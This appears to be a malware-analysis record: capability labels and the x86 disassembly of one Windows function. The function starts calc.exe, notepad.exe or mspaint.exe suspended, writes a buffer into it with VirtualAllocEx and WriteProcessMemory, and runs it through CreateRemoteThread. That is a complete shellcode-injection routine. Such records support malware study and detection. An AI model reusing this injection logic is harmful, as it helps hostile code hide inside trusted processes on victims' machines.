Function at 0x100393e0
Capabilities:
Allocate or change rwx memory
Create process on windows
Create process suspended
Create thread
Get common file path
Inject thread
Spawn thread to rwx shellcode
Terminate process

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x274
mov eax, dword [0x100b0380]
xor eax, esp
mov dword [esp + 0x270], eax
push ebx
mov ebx, dword [ebp + 0x10]
push esi
push edi
xor eax, eax
push 0x206
mov edi, ecx
push eax
lea ecx, [esp + 0x7a]
push ecx
mov dword [esp + 0x30], ebx
mov word [esp + 0x7c], ax
call fcn.1007dcf0
add esp, 0xc
push 0x44
lea edx, [esp + 0x2c]
push 0
push edx
mov dword [esp + 0x2c], 0
call fcn.1007dcf0
mov esi, dword [ebp + 8]
xor eax, eax
add esp, 0xc
mov dword [esp + 0x28], 0x44
mov dword [esp + 0x10], eax
mov dword [esp + 0x14], eax
mov dword [esp + 0x18], eax
mov dword [esp + 0x1c], eax
cmp esi, 0xc
jne 0x1003947e
mov eax, dword [ebp + 0xc]
mov ecx, dword [0x100d9234]
mov edx, dword [str.v_ds_dr_dd_d]
push eax
push 0
push 0x32c
push ecx
push edx
xor ecx, ecx
call fcn.1002d3f0
add esp, 0x14
call fcn.1002c330
test eax, eax
je 0x100394ff
cmp esi, 0xc
jne 0x100394af
mov eax, dword [ebp + 0xc]
mov ecx, dword [0x100d9234]
mov edx, dword [str.v_ds_dr_dd_d]
push eax
push 0
push 0x32d
push ecx
push edx
xor ecx, ecx
call fcn.1002d3f0
add esp, 0x14
push ebx
push edi
call fcn.10039820
add esp, 8
test eax, eax
je 0x100394ff
cmp esi, 0xc
jne 0x100394e5
mov eax, dword [ebp + 0xc]
mov ecx, dword [0x100d9234]
mov edx, dword [str.v_ds_dr_dd_d]
push eax
push 0
push 0x32e
push ecx
push edx
xor ecx, ecx
call fcn.1002d3f0
add esp, 0x14
mov eax, 1
pop edi
pop esi
pop ebx
mov ecx, dword [esp + 0x270]
xor ecx, esp
call fcn.10079a05
mov esp, ebp
pop ebp
ret
push edi
call fcn.100390e0
add esp, 4
test eax, eax
jne 0x10039537
mov eax, esi
mov esi, dword [ebp + 0xc]
push 0x10e
xor edx, edx
call fcn.1002d4f0
add esp, 4
xor eax, eax
pop edi
pop esi
pop ebx
mov ecx, dword [esp + 0x270]
xor ecx, esp
call fcn.10079a05
mov esp, ebp
pop ebp
ret
mov dword [esp + 0xc], 0
call fcn.10079c4e
cdq
mov ecx, 3
idiv ecx
push 0x104
mov ebx, edx
lea edx, [esp + 0x74]
push edx
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryW]
test eax, eax
je 0x1003968d
test ebx, ebx
jne 0x100395ab
lea eax, [esp + 0x70]
add eax, 0xfffffffe
mov cx, word [eax + 2]
add eax, 2
test cx, cx
jne 0x10039571
mov ecx, dword [str.calc.exe]
mov edx, dword [0x100a0f9c]
mov dword [eax], ecx
mov ecx, dword [0x100a0fa0]
mov dword [eax + 4], edx
mov edx, dword [0x100a0fa4]
mov dword [eax + 8], ecx
mov ecx, dword [0x100a0fa8]
mov dword [eax + 0xc], edx
mov dword [eax + 0x10], ecx
jmp 0x100395fd
cmp ebx, 1
jne 0x100395d3
lea edi, [esp + 0x70]
add edi, 0xfffffffe
jmp 0x100395c0
mov ax, word [edi + 2]
add edi, 2
test ax, ax
jne 0x100395c0
mov esi, str._notepad.exe
jmp 0x100395f1
cmp ebx, 2
jne 0x100395fd
lea edi, [esp + 0x70]
add edi, 0xfffffffe
nop
mov ax, word [edi + 2]
add edi, 2
test ax, ax
jne 0x100395e0
mov esi, str.mspaint.exe
mov ecx, 6
rep movsd dword es:[edi], dword [esi]
movsw word es:[edi], word [esi]
mov esi, dword [ebp + 8]
lea edx, [esp + 0x10]
push edx
lea eax, [esp + 0x2c]
push eax
push 0
push 0
push 4
push 0
push 0
push 0
push 0
lea ecx, [esp + 0x94]
push ecx
call dword [sym.imp.KERNEL32.dll_CreateProcessW]
test eax, eax
jne 0x100396d4
cmp esi, 0xc
jne 0x10039651
mov edx, dword [ebp + 0xc]
mov ecx, dword [str.v_ds_dr_dd_d]
push edx
push eax
mov eax, dword [0x100d9234]
push 0x32f
push eax
push ecx
xor ecx, ecx
call fcn.1002d3f0
add esp, 0x14
cmp dword [esp + 0xc], 2
jge 0x100396a4
inc dword [esp + 0xc]
inc ebx
mov eax, 0x55555555
imul ebx
sub edx, ebx
sar edx, 1
mov eax, edx
shr eax, 0x1f
add eax, edx
lea edx, [eax + ebx]
lea ebx, [edx + eax*2]
push 0x104
lea eax, [esp + 0x74]
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryW]
test eax, eax
jne 0x10039566
xor eax, eax
pop edi
pop esi
pop ebx
mov ecx, dword [esp + 0x270]
xor ecx, esp
call fcn.10079a05
mov esp, ebp
pop ebp
ret
mov eax, esi
mov esi, dword [ebp + 0xc]
push 0x111
xor edx, edx
call fcn.1002d4f0
add esp, 4
call fcn.10039230
xor eax, eax
pop edi
pop esi
pop ebx
mov ecx, dword [esp + 0x270]
xor ecx, esp
call fcn.10079a05
mov esp, ebp
pop ebp
ret
mov ecx, dword [esp + 0x10]
push 0x40
push 0x3000
push 0x7d1
push 0
push ecx
call dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov edi, eax
test edi, edi
je 0x10039796
mov edx, dword [esp + 0x10]
push 0
push 0x7d1
push 0x100d83e0
push edi
push edx
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
jne 0x10039742
cmp esi, 0xc
jne 0x1003973b
mov eax, dword [ebp + 0xc]
mov ecx, dword [0x100d9234]
mov edx, dword [str.v_ds_dr_dd_d]
push eax
push 0
push 0x330
push ecx
push edx
xor ecx, ecx
call fcn.1002d3f0
add esp, 0x14
xor edi, edi
jmp 0x100397e6
mov eax, dword [esp + 0x10]
push 0
push 0
push 0
push edi
push 0
push 0
push eax
call dword [sym.imp.KERNEL32.dll_CreateRemoteThread]
test eax, eax
jne 0x1003979a
cmp esi, 0xc
jne 0x10039782
mov ecx, dword [ebp + 0xc]
mov edx, dword [0x100d9234]
push ecx
push eax
mov eax, dword [str.v_ds_dr_dd_d]
push 0x331
push edx
push eax
xor ecx, ecx
call fcn.1002d3f0
add esp, 0x14
mov eax, esi
mov esi, dword [ebp + 0xc]
push 0x10f
xor edx, edx
call fcn.1002d4f0
add esp, 4
xor edi, edi
jmp 0x100397e6
mov eax, dword [esp + 0x24]
call fcn.10039360
mov edi, eax
test edi, edi
je 0x100397d2
cmp esi, 0xc
jne 0x100397e6
mov ecx, dword [ebp + 0xc]
mov edx, dword [0x100d9234]
mov eax, dword [str.v_ds_dr_dd_d]
push ecx
push 0
push 0x332
push edx
push eax
xor ecx, ecx
call fcn.1002d3f0
add esp, 0x14
jmp 0x100397e6
mov eax, esi
mov esi, dword [ebp + 0xc]
push 0x110
xor edx, edx
call fcn.1002d4f0
add esp, 4
call fcn.10039230
mov edx, dword [esp + 0x10]
lea ecx, [esp + 0x20]
push ecx
push edx
call dword [sym.imp.KERNEL32.dll_GetExitCodeProcess]
mov eax, dword [esp + 0x10]
push 0
push eax
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
mov ecx, dword [esp + 0x27c]
mov eax, edi
pop edi
pop esi
pop ebx
xor ecx, esp
call fcn.10079a05
mov esp, ebp
pop ebp
ret